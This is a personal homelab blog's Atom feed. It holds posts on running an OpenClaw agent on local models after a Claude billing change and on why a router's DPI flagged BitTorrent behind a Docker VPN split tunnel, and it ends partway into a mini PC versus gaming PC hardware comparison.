<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://prathamesh.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://prathamesh.dev/" rel="alternate" type="text/html" /><updated>2026-04-09T23:16:55+00:00</updated><id>https://prathamesh.dev/feed.xml</id><title type="html">Prathamesh Shetye</title><subtitle>Homelab tinkering, AI experiments, and notes from the edge of what I&apos;m building.</subtitle><author><name>Prathamesh Shetye</name></author><entry><title type="html">Anthropic Changed the Rules: Revising My OpenClaw Split Deployment for Zero Cloud Spend</title><link href="https://prathamesh.dev/2026/04/09/Claude-Billing-Update/" rel="alternate" type="text/html" title="Anthropic Changed the Rules: Revising My OpenClaw Split Deployment for Zero Cloud Spend" /><published>2026-04-09T00:00:00+00:00</published><updated>2026-04-09T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/04/09/Claude-Billing-Update</id><content type="html" xml:base="https://prathamesh.dev/2026/04/09/Claude-Billing-Update/"><![CDATA[<p>Five days ago, Anthropic pulled the rug on every OpenClaw user running Claude through a Pro or Max subscription. Starting April 4, 2026, third-party tools like OpenClaw can no longer draw from your subscription quota. If you want Claude in your agent pipeline, you now pay per token through API keys or Anthropic’s new “extra usage” billing — no more flat-rate all-you-can-eat.</p>

<p>This directly impacts the <a href="https://prathamesh.dev/2026/03/31/openclaw-split-deployment-guide/">split-deployment architecture</a> I documented last week: a Minisforum UM890 Pro as the hardened always-on gateway, and a gaming PC (7800X3D + RTX 5080) as the GPU-accelerated inference server, connected over Tailscale. That guide assumed Claude Sonnet as the “thinking” model and the fallback when the gaming PC was off. Under the new billing, that assumption could easily cost $300+/month in API charges.</p>

<p>Time to revise the plan. The goal: <strong>spend nothing beyond electricity</strong>.</p>

<h2 id="what-anthropic-actually-changed">What Anthropic Actually Changed</h2>

<p>The short version: Claude subscriptions (Pro at $20/month, Max at $200/month) now only cover Anthropic’s own products — claude.ai, Claude Code CLI, Claude Desktop, and Claude Cowork. Third-party tools like OpenClaw, Cursor, and others are cut off from subscription quota entirely.</p>

<p>If you still want to use Claude with OpenClaw, you have two options: a dedicated API key (pay-per-token at $3/$15 per million input/output tokens for Sonnet 4.6), or Anthropic’s new “extra usage” pay-as-you-go add-on. Both are metered. Both can get expensive fast under agentic workloads, because OpenClaw conversations accumulate context — the 10th turn resends all previous turns, and token consumption grows roughly exponentially.</p>

<p>Anthropic’s stated reasoning is that third-party harnesses bypass their prompt cache optimization layer, meaning a heavy OpenClaw session consumes far more infrastructure than an equivalent Claude Code session. Whether you view this as reasonable capacity management or strategic moat-building probably depends on how much your workflow just broke.</p>

<p>For context on scale: testing by the German tech outlet c’t 3003 found that a single day of OpenClaw usage on Claude Opus consumed over $100 in API-equivalent tokens. Even Sonnet-only usage can run $10-20/day once you factor in context accumulation, tool calls, and system prompt overhead. At those rates, a month of moderate usage would dwarf what I spend on electricity for both machines combined.</p>

<h2 id="claim-your-credit--you-have-8-days">Claim Your Credit — You Have 8 Days</h2>

<p>Before anything else: if you’re on a Claude Pro or Max subscription, Anthropic is offering a one-time credit equal to your monthly subscription price. You must redeem it by <strong>April 17, 2026</strong>, and it’s valid for 90 days. Go to your Anthropic account settings and claim it now. It’s free money and it expires permanently if you don’t act.</p>

<p>They’re also offering up to 30% off pre-purchased extra usage bundles, which could be worth it if you decide to keep a small Claude budget for emergencies.</p>

<h2 id="the-original-architecture">The Original Architecture</h2>

<p>Here’s the architecture from my <a href="https://prathamesh.dev/2026/03/31/openclaw-split-deployment-guide/">previous post</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──────────────────────┐       Tailscale (WireGuard)       ┌──────────────────────┐
│   UM890 Pro          │◄─────────────────────────────────► │   Gaming PC          │
│   (Gateway)          │    100.x.x.1 ◄──► 100.x.x.2      │   (Inference)        │
│                      │                                    │                      │
│  OpenClaw Gateway    │   ollama/qwen3.5:27b @ :11434     │  Ollama + CUDA       │
│  Docker (rootless)   │──────────────────────────────────► │  RTX 5080 (16GB)     │
│  Browser automation  │                                    │  Qwen 3.5 27B        │
│  Messaging channels  │   fallback: Claude Sonnet (cloud)  │                      │
│  Netdata monitoring  │                                    │  Netdata monitoring   │
└──────────────────────┘                                    └──────────────────────┘
</code></pre></div></div>

<p>The model configuration looked like this:</p>

<div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="na">agents</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">defaults</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">model</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="na">primary</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama/qwen3.5:27b"</span><span class="p">,</span><span class="w">
        </span><span class="na">thinking</span><span class="p">:</span><span class="w"> </span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="p">,</span><span class="w">
        </span><span class="na">fallbacks</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"anthropic/claude-sonnet-4-6-20260514"</span><span class="p">]</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The idea was sound: local model for routine work, Claude for complex reasoning and as a safety net when the gaming PC is off. But under the new billing, every “thinking” invocation and every fallback hit now costs real money. A few complex coding sessions per day could easily burn $5-10, and that adds up to $150-300/month — exactly the kind of bill I built this hardware setup to avoid.</p>

<h2 id="the-revised-plan-local-only-inference">The Revised Plan: Local-Only Inference</h2>

<p>The updated architecture eliminates cloud dependency entirely:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──────────────────────┐       Tailscale (WireGuard)       ┌──────────────────────┐
│   UM890 Pro          │◄─────────────────────────────────► │   Gaming PC          │
│   (Gateway)          │    100.x.x.1 ◄──► 100.x.x.2      │   (Inference)        │
│                      │                                    │                      │
│  OpenClaw Gateway    │   ollama/qwen3.5:27b @ :11434     │  Ollama + CUDA       │
│  Docker (rootless)   │──────────────────────────────────► │  RTX 5080 (16GB)     │
│  Browser automation  │   ollama/qwen3.5:7b  @ :11434     │  Qwen 3.5 27B + 7B   │
│  Messaging channels  │                                    │                      │
│  Netdata monitoring  │   NO cloud fallback                │  Netdata + nvidia-smi│
└──────────────────────┘                                    └──────────────────────┘
</code></pre></div></div>

<p>And the revised model configuration:</p>

<div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="na">agents</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">defaults</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">model</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="na">primary</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama/qwen3.5:27b"</span><span class="p">,</span><span class="w">
        </span><span class="c1">// No thinking model — primary handles everything</span><span class="w">
        </span><span class="na">fallbacks</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"ollama/qwen3.5:7b"</span><span class="p">]</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="na">models</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">providers</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">ollama</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="na">baseUrl</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://100.x.x.2:11434"</span><span class="p">,</span><span class="w">
        </span><span class="na">apiKey</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama-local"</span><span class="p">,</span><span class="w">
        </span><span class="na">api</span><span class="p">:</span><span class="w"> </span><span class="s2">"ollama"</span><span class="w">  </span><span class="c1">// Native API, NOT /v1 — this is critical for tool calling</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Key changes:</p>

<ol>
  <li><strong>No Claude anywhere in the model chain.</strong> The 27B Qwen model handles all tasks — complex reasoning, coding, multi-step planning. It won’t match Claude Sonnet on the hardest problems, but it’s remarkably capable and the cost per token is exactly $0.</li>
  <li><strong>Fallback is a smaller local model</strong>, not a cloud API. If the 27B model fails or is slow, the 7B variant picks up. Both run on the same GPU.</li>
  <li><strong>Local embeddings for memory search.</strong> Setting <code class="language-plaintext highlighter-rouge">memorySearch.provider</code> to <code class="language-plaintext highlighter-rouge">"local"</code> or <code class="language-plaintext highlighter-rouge">"ollama"</code> keeps semantic memory queries on-device instead of hitting OpenAI or Voyage embedding APIs.</li>
  <li><strong>QMD (Quick Memory Database) enabled.</strong> This is OpenClaw’s local semantic search feature that builds a vector database on-device. It indexes conversation history and documents, then retrieves only relevant context snippets rather than resending the full conversation history to the model. This directly attacks context accumulation — the biggest cost driver in agentic workloads, and even in a local-only setup, it reduces inference time and improves response quality.</li>
</ol>

<h2 id="model-routing-not-every-task-needs-27-billion-parameters">Model Routing: Not Every Task Needs 27 Billion Parameters</h2>

<p>OpenClaw supports complexity-based model routing, and this is where the two-model local setup pays off. The routing configuration scores tasks by complexity signals — token count, file count, keywords — and dispatches to the appropriate model:</p>

<div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="na">routing</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">complexity_signals</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">token_count_threshold</span><span class="p">:</span><span class="w"> </span><span class="mi">2000</span><span class="p">,</span><span class="w">
      </span><span class="na">file_count_threshold</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
      </span><span class="na">primary_keywords</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"refactor"</span><span class="p">,</span><span class="w"> </span><span class="s2">"architect"</span><span class="p">,</span><span class="w"> </span><span class="s2">"optimize"</span><span class="p">,</span><span class="w"> </span><span class="s2">"security"</span><span class="p">,</span><span class="w"> </span><span class="s2">"debug"</span><span class="p">],</span><span class="w">
      </span><span class="na">economy_file_patterns</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"*.md"</span><span class="p">,</span><span class="w"> </span><span class="s2">"*.json"</span><span class="p">,</span><span class="w"> </span><span class="s2">"*.yaml"</span><span class="p">,</span><span class="w"> </span><span class="s2">"*.toml"</span><span class="p">,</span><span class="w"> </span><span class="s2">"*.txt"</span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Heavy reasoning — architecture decisions, complex debugging, multi-file refactoring — goes to the 27B model. Simple tasks — calendar checks, message forwarding, config file edits, documentation lookups — go to the 7B model, which responds faster and frees VRAM for the next heavy request. Both models cost nothing to run beyond electricity.</p>

<h2 id="what-about-when-the-gaming-pc-is-off">What About When the Gaming PC Is Off?</h2>

<p>This is the real trade-off. The original plan had Claude Sonnet as the graceful degradation path: gaming PC off → agent keeps working through the cloud. Without that fallback, a powered-down gaming PC means the agent stops responding.</p>

<p>My solution: <strong>wake-on-demand via Tailscale + Wake-on-LAN.</strong> The UM890 gateway detects that the Ollama endpoint is unreachable, sends a WoL magic packet to the gaming PC’s LAN MAC address, and queues incoming requests for 30-60 seconds while the machine boots and loads the model into VRAM. It’s not instant, but it’s functional, and it costs nothing.</p>

<p>For overnight hours when I genuinely don’t need the agent, the gaming PC suspends to save power. The gateway returns a polite “agent is resting, will respond when available” to any messaging channels. Not every AI agent needs to be available 24/7.</p>

<h2 id="the-one-exception-emergency-claude-budget">The One Exception: Emergency Claude Budget</h2>

<p>I’m keeping a Claude API key configured but with a <strong>hard $2/day spending cap</strong> in the Anthropic console. This exists purely for the scenario where I genuinely need frontier-level reasoning on something time-sensitive and the local model isn’t cutting it. At $2/day, the worst-case monthly overshoot is $60 — but I expect actual usage to be near zero most months.</p>

<p>The configuration keeps Claude available but never automatic:</p>

<div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="c1">// Claude is NOT in the fallback chain — it won't trigger automatically</span><span class="w">
  </span><span class="c1">// Only invocable via explicit /model switch command in a session</span><span class="w">
  </span><span class="na">models</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="na">providers</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="na">anthropic</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="na">apiKey</span><span class="p">:</span><span class="w"> </span><span class="s2">"sk-ant-xxxxx"</span><span class="p">,</span><span class="w">  </span><span class="c1">// Dedicated key with $2/day cap</span><span class="w">
        </span><span class="na">api</span><span class="p">:</span><span class="w"> </span><span class="s2">"anthropic"</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This way, Claude never fires without my conscious decision to invoke it. No surprise bills.</p>

<h2 id="a-note-on-the-billing-proxy-approach">A Note on the Billing Proxy Approach</h2>

<p>I’ve seen the <code class="language-plaintext highlighter-rouge">openclaw-billing-proxy</code> project making the rounds — it’s a 7-layer proxy that rewrites OpenClaw requests to look like Claude Code requests, injecting billing headers and renaming tool schemas to bypass Anthropic’s detection. It works today. It will almost certainly break tomorrow.</p>

<p>I’d strongly recommend against this path. It explicitly circumvents Anthropic’s billing enforcement, requires constant maintenance as detection layers evolve (it’s already on v2.0 with 30+ pattern bypasses), and risks account termination. Anthropic has shown they’re willing to enforce aggressively here, and building your workflow on a cat-and-mouse evasion game is not a stable foundation.</p>

<p>The right answer is either to pay for what you use, or to not use it. I’m choosing the latter for routine work.</p>

<h2 id="implementation-status">Implementation Status</h2>

<p>I have Ubuntu Server 24.04 LTS installed on the UM890 Pro. The gaming PC still needs its Ubuntu install. Here’s the phased execution plan:</p>

<p><strong>Phase 1 — UM890 Pro Base Hardening (today)</strong></p>
<ul>
  <li>Post-install security baseline: UFW, SSH key-only auth, fail2ban</li>
  <li>Unattended security updates</li>
  <li>Dedicated <code class="language-plaintext highlighter-rouge">openclaw</code> user with no sudo</li>
  <li>Tailscale installation and authentication</li>
</ul>

<p><strong>Phase 2 — Gaming PC Setup</strong></p>
<ul>
  <li>Ubuntu Server 24.04 LTS install</li>
  <li>Nvidia driver installation and verification (<code class="language-plaintext highlighter-rouge">nvidia-smi</code>)</li>
  <li>Ollama install, pull both Qwen 3.5 27B and 7B models</li>
  <li>Bind Ollama to Tailscale interface only</li>
  <li>UFW restricting port 11434 to <code class="language-plaintext highlighter-rouge">tailscale0</code></li>
</ul>

<p><strong>Phase 3 — Gateway Configuration</strong></p>
<ul>
  <li>Rootless Docker for the <code class="language-plaintext highlighter-rouge">openclaw</code> user</li>
  <li>Node.js 24 via nvm</li>
  <li>OpenClaw install and onboarding with Ollama</li>
  <li>Revised model configuration (local-only with routing)</li>
  <li>QMD and local embeddings enabled</li>
  <li>Gateway bound to loopback, agent sandboxing enabled</li>
</ul>

<p><strong>Phase 4 — Monitoring &amp; Power Management</strong></p>
<ul>
  <li>Netdata on both machines (with GPU monitoring on the gaming PC)</li>
  <li>Wake-on-LAN configuration for demand-based power management</li>
  <li>Suspend/wake scripts integrated with the gateway</li>
</ul>

<p><strong>Phase 5 — Validation</strong></p>
<ul>
  <li>End-to-end inference testing through messaging channels</li>
  <li>WoL wake-from-suspend testing</li>
  <li>One-week cost audit via <code class="language-plaintext highlighter-rouge">/usage full</code></li>
  <li><code class="language-plaintext highlighter-rouge">openclaw doctor</code> and <code class="language-plaintext highlighter-rouge">openclaw security audit --deep</code></li>
</ul>

<h2 id="revised-cost-analysis">Revised Cost Analysis</h2>

<table>
  <thead>
    <tr>
      <th>Component</th>
      <th>Monthly Estimate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>UM890 Pro electricity (24/7, ~15W idle)</td>
      <td>~$3</td>
    </tr>
    <tr>
      <td>Gaming PC electricity (12hr/day, ~120W avg)</td>
      <td>~$16</td>
    </tr>
    <tr>
      <td>Anthropic API (emergency manual-only)</td>
      <td>$0–2</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>~$19–21/month</strong></td>
    </tr>
  </tbody>
</table>

<p>Compare this to:</p>
<ul>
  <li><strong>Original plan</strong> (pre-April 4): ~$24–34/month with regular Claude fallback on subscription</li>
  <li><strong>Post-April 4 with old config</strong>: Potentially $150–300+/month on metered API billing</li>
  <li><strong>Pure cloud OpenClaw</strong>: $300–600/month at moderate usage levels</li>
</ul>

<p>The hardware pays for itself even faster now.</p>

<h2 id="the-bigger-picture">The Bigger Picture</h2>

<p>Anthropic’s move isn’t surprising in hindsight. Flat-rate subscriptions and autonomous agents with unbounded token consumption were never going to coexist sustainably. The real question is whether this pushes the ecosystem toward better local models faster — and based on how capable Qwen 3.5 27B already is on a single RTX 5080, I think the answer is yes.</p>

<p>The split-deployment architecture I designed actually becomes <em>more</em> justified under the new billing. The whole point was to minimize cloud dependency and keep the critical path on hardware I own. Anthropic just made that decision even more economical by making the alternative dramatically more expensive.</p>

<p>I’ll follow up with detailed implementation posts as I work through each phase. If you’re in the same boat — an OpenClaw user suddenly staring at metered billing — the TL;DR is: invest in local inference hardware, configure aggressive model routing, and treat cloud APIs as an emergency escape hatch rather than a default.</p>

<p>The models are good enough. The hardware is affordable enough. And now, the incentive alignment is clear enough.</p>]]></content><author><name>Prathamesh Shetye</name></author><category term="openclaw" /><category term="homelab" /><category term="ai" /><summary type="html"><![CDATA[Five days ago, Anthropic pulled the rug on every OpenClaw user running Claude through a Pro or Max subscription. Starting April 4, 2026, third-party tools like OpenClaw can no longer draw from your subscription quota. If you want Claude in your agent pipeline, you now pay per token through API keys or Anthropic’s new “extra usage” billing — no more flat-rate all-you-can-eat.]]></summary></entry><entry><title type="html">Your VPN Isn’t as Invisible as You Think: How My Router Knew I Was Torrenting</title><link href="https://prathamesh.dev/2026/04/01/vpn-isnt-as-invisible-as-you-think/" rel="alternate" type="text/html" title="Your VPN Isn’t as Invisible as You Think: How My Router Knew I Was Torrenting" /><published>2026-04-01T00:00:00+00:00</published><updated>2026-04-01T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/04/01/vpn-isnt-as-invisible-as-you-think</id><content type="html" xml:base="https://prathamesh.dev/2026/04/01/vpn-isnt-as-invisible-as-you-think/"><![CDATA[<p>I’d been curious about how VPN-tunneled Docker setups actually work in practice — the kind where you route containers through a VPN gateway so all their traffic is encrypted. Every guide tells you the same thing: use <code class="language-plaintext highlighter-rouge">network_mode: service:&lt;vpn_container&gt;</code> and all traffic is encrypted, invisible to your local network, end of story.</p>

<p>So I set up a simple experiment: ExpressVPN, qBittorrent, and a Firefox container, all wired together with Docker Compose. I grabbed a few Linux ISOs to generate some real BitTorrent traffic and see how the tunnel behaved.</p>

<p>Then my Unifi Dream Machine flagged BitTorrent traffic on my network.</p>

<h2 id="the-setup">The Setup</h2>

<p>The setup runs on TrueNAS SCALE. The architecture is simple and follows the widely recommended pattern: a single ExpressVPN container acts as the network gateway, and the other containers ride on its network stack.</p>

<p>Here’s the relevant structure (sensitive values redacted):</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">expressvpn</span><span class="pi">:</span>
    <span class="na">cap_add</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">NET_ADMIN</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">expressvpn</span>
    <span class="na">devices</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/dev/net/tun</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">CODE=&lt;REDACTED&gt;</span>
      <span class="pi">-</span> <span class="s">SERVER=ireland</span>
      <span class="pi">-</span> <span class="s">PROTOCOL=lightwayudp</span>
      <span class="pi">-</span> <span class="s">ALLOW_LAN=true</span>
      <span class="pi">-</span> <span class="s">LAN_CIDR=192.168.0.0/23</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">misioslav/expressvpn:latest</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s1">'</span><span class="s">30024:30024'</span>
      <span class="pi">-</span> <span class="s1">'</span><span class="s">51413:51413'</span>
      <span class="pi">-</span> <span class="s">51413:51413/udp</span>
    <span class="na">privileged</span><span class="pi">:</span> <span class="no">true</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>

  <span class="na">qbittorrent</span><span class="pi">:</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">qbittorrent</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="na">expressvpn</span><span class="pi">:</span>
        <span class="na">condition</span><span class="pi">:</span> <span class="s">service_healthy</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">WEBUI_PORT=30024</span>
      <span class="pi">-</span> <span class="s">TORRENTING_PORT=51413</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">linuxserver/qbittorrent</span>
    <span class="na">network_mode</span><span class="pi">:</span> <span class="s">service:expressvpn</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/mnt/fast-pool/appdata/qbittorrent:/config</span>
      <span class="pi">-</span> <span class="s">/mnt/fast-pool/Downloads:/downloads</span>

  <span class="na">firefox</span><span class="pi">:</span>
    <span class="na">container_name</span><span class="pi">:</span> <span class="s">firefox</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="na">expressvpn</span><span class="pi">:</span>
        <span class="na">condition</span><span class="pi">:</span> <span class="s">service_healthy</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">lscr.io/linuxserver/firefox:latest</span>
    <span class="na">network_mode</span><span class="pi">:</span> <span class="s">service:expressvpn</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">unless-stopped</span>
</code></pre></div></div>

<p>The key line is <code class="language-plaintext highlighter-rouge">network_mode: service:expressvpn</code>. This forces qBittorrent and Firefox to share the VPN container’s network namespace. They have no independent network interface. All their packets go through the VPN tunnel. The port mappings live on the VPN container because it owns the network stack.</p>

<p>This is correct. This is what everyone recommends. And it works — the actual torrent data <em>is</em> going through the VPN.</p>

<p>So what went wrong?</p>

<h2 id="the-suspects">The Suspects</h2>

<p>When I saw the Unifi DPI alert, I worked through four possible explanations.</p>

<h3 id="1-dns-leaks">1. DNS Leaks</h3>

<p>If DNS queries escape the VPN tunnel and hit your local router, your Unifi gateway sees you resolving tracker domains like <code class="language-plaintext highlighter-rouge">tracker.opentrackr.org</code>. The file transfers are encrypted, but the DNS lookups give the game away.</p>

<p>This is a common issue. Whether the VPN container handles DNS internally or falls back to the host’s resolver depends entirely on the image’s implementation. If DNS requests are reaching your Unifi gateway, its DPI engine will happily log them.</p>

<h3 id="2-traffic-pattern-analysis-dpi-fingerprinting">2. Traffic Pattern Analysis (DPI Fingerprinting)</h3>

<p>Modern DPI doesn’t just read packet contents — it recognizes behavioral patterns. BitTorrent has a distinctive fingerprint even when encrypted: many simultaneous connections to diverse IPs, specific port usage patterns, and characteristic upload/download ratios. Encrypted traffic isn’t invisible traffic; it just can’t be <em>read</em>. Its shape is still visible.</p>

<p>That said, VPN traffic should collapse all of this into a single encrypted stream to one IP (the VPN server). If the tunnel is working, the pattern analysis shouldn’t have enough signal to work with.</p>

<h3 id="3-leaked-packets-during-vpn-reconnection">3. Leaked Packets During VPN Reconnection</h3>

<p>If ExpressVPN drops and reconnects (even briefly), packets can escape unencrypted before the tunnel comes back up. A few seconds of leaked BitTorrent protocol handshakes are enough for DPI to flag it. This is the classic kill-switch problem.</p>

<h3 id="4-the-split-tunnel--the-actual-culprit">4. The Split Tunnel — The Actual Culprit</h3>

<p>Look at this line in the VPN container config:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ALLOW_LAN=true
LAN_CIDR=192.168.0.0/23
</code></pre></div></div>

<p>This creates a <strong>split tunnel</strong>. Traffic destined for the local network (<code class="language-plaintext highlighter-rouge">192.168.0.0/23</code>) bypasses the VPN entirely and flows directly over the LAN. This is intentional — it’s how you access the qBittorrent WebUI from another machine on your network by hitting <code class="language-plaintext highlighter-rouge">http://&lt;server-ip&gt;:30024</code>.</p>

<p>And that’s the problem.</p>

<p>When I open the qBittorrent WebUI from my laptop, the request goes from my laptop to the server over the LAN, unencrypted, and the response comes back the same way. The Unifi gateway sits in the middle of that path. It inspects the traffic, sees qBittorrent’s WebUI protocol and HTTP headers, and flags it as BitTorrent.</p>

<p><strong>The actual peer-to-peer torrent data is going through the VPN.</strong> Unifi never sees the file transfers. But it sees the management interface and that’s enough to trigger the DPI classification.</p>

<h2 id="the-distinction-that-matters">The Distinction That Matters</h2>

<p>This is an important nuance that most guides gloss over: <strong>there’s a difference between your torrent data being visible and your torrent client being visible.</strong></p>

<p>The split tunnel protects the former but exposes the latter. Your ISP can’t see what you’re downloading. But your local router knows you’re running qBittorrent because you’re accessing its WebUI over the LAN.</p>

<p>For most home users, this is perfectly fine — your router is your own hardware. But if you want to be thorough, or if you’re on a network you don’t fully control, it’s worth understanding.</p>

<h2 id="mitigations">Mitigations</h2>

<p>If the DPI detection bothers you, there are a few options:</p>

<p><strong>Access the WebUI through the VPN, not the LAN.</strong> If you’re already running something like Tailscale or Twingate on your network, access the qBittorrent WebUI through that tunnel instead of over the local network. The traffic stays encrypted end-to-end and the Unifi gateway never sees it.</p>

<p><strong>Check for DNS leaks.</strong> Exec into the VPN container and verify DNS is resolving through the tunnel:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker <span class="nb">exec</span> <span class="nt">-it</span> expressvpn bash
<span class="nb">cat</span> /etc/resolv.conf
nslookup example.com
</code></pre></div></div>

<p>If the nameserver is your local router’s IP, DNS is leaking.</p>

<p><strong>Drop <code class="language-plaintext highlighter-rouge">privileged: true</code>.</strong> The container only needs <code class="language-plaintext highlighter-rouge">cap_add: NET_ADMIN</code> and the <code class="language-plaintext highlighter-rouge">/dev/net/tun</code> device. Running in privileged mode gives the container full access to the host’s network interfaces, which is unnecessary and widens the attack surface.</p>

<p><strong>Disable DPI on Unifi.</strong> If you own the network and don’t care about the classification, you can just turn off Deep Packet Inspection in your Unifi controller. But understanding <em>why</em> it triggers is more valuable than silencing it.</p>

<h2 id="takeaway">Takeaway</h2>

<p>The Docker <code class="language-plaintext highlighter-rouge">network_mode: service:&lt;vpn&gt;</code> pattern works. Your torrent traffic is going through the VPN. But if you enable LAN access for convenience (and most people do), your router can still identify what services you’re running from the unencrypted management traffic. The VPN hides what you’re transferring — it doesn’t hide what you’re running.</p>

<p>Understanding the difference between data privacy and service visibility is what separates a working setup from one you actually understand.</p>]]></content><author><name>Prathamesh Shetye</name></author><category term="homelab" /><category term="networking" /><category term="docker" /><category term="vpn" /><category term="unifi" /><category term="dpi" /><category term="bittorrent" /><category term="expressvpn" /><category term="truenas" /><summary type="html"><![CDATA[I’d been curious about how VPN-tunneled Docker setups actually work in practice — the kind where you route containers through a VPN gateway so all their traffic is encrypted. Every guide tells you the same thing: use network_mode: service:&lt;vpn_container&gt; and all traffic is encrypted, invisible to your local network, end of story.]]></summary></entry><entry><title type="html">OpenClaw Hardware Showdown: Mini PC vs. Gaming Rig — When a Discrete GPU Changes the Equation</title><link href="https://prathamesh.dev/2026/03/31/OpenClaw-GamingPC/" rel="alternate" type="text/html" title="OpenClaw Hardware Showdown: Mini PC vs. Gaming Rig — When a Discrete GPU Changes the Equation" /><published>2026-03-31T00:00:00+00:00</published><updated>2026-03-31T00:00:00+00:00</updated><id>https://prathamesh.dev/2026/03/31/OpenClaw-GamingPC</id><content type="html" xml:base="https://prathamesh.dev/2026/03/31/OpenClaw-GamingPC/"><![CDATA[<p>In my <a href="/2026/03/25/hardware-for-openclaw/">previous post</a>, I made the case for the <strong>Minisforum UM890 Pro</strong> as a dedicated, hardened OpenClaw appliance — comparing it against the Mac Mini M4 and concluding that native Linux containers, 32GB of DDR5, and 4TB of NVMe runway made it the better fit for autonomous agent workloads. That analysis assumed a choice between two compact, low-power machines.</p>

<p>But I have another machine sitting idle. A full-tower gaming PC — <strong>AMD Ryzen 7 7800X3D, 64GB DDR5, 4TB NVMe PCIe 4.0, and an Nvidia GeForce RTX 5080</strong> — that isn’t part of my daily workflow. Neither machine is my daily driver. Both are “extra.” So the natural question is: does a discrete GPU with 16GB of VRAM and CUDA acceleration fundamentally change the OpenClaw hardware calculus?</p>

<p>The short answer: <strong>yes, dramatically — but not in the way you might expect.</strong></p>

<h2 id="the-contenders-specifications-compared">The Contenders: Specifications Compared</h2>

<table>
  <thead>
    <tr>
      <th>Specification</th>
      <th>Minisforum UM890 Pro</th>
      <th>Gaming PC</th>
      <th>Implications for OpenClaw</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>CPU</strong></td>
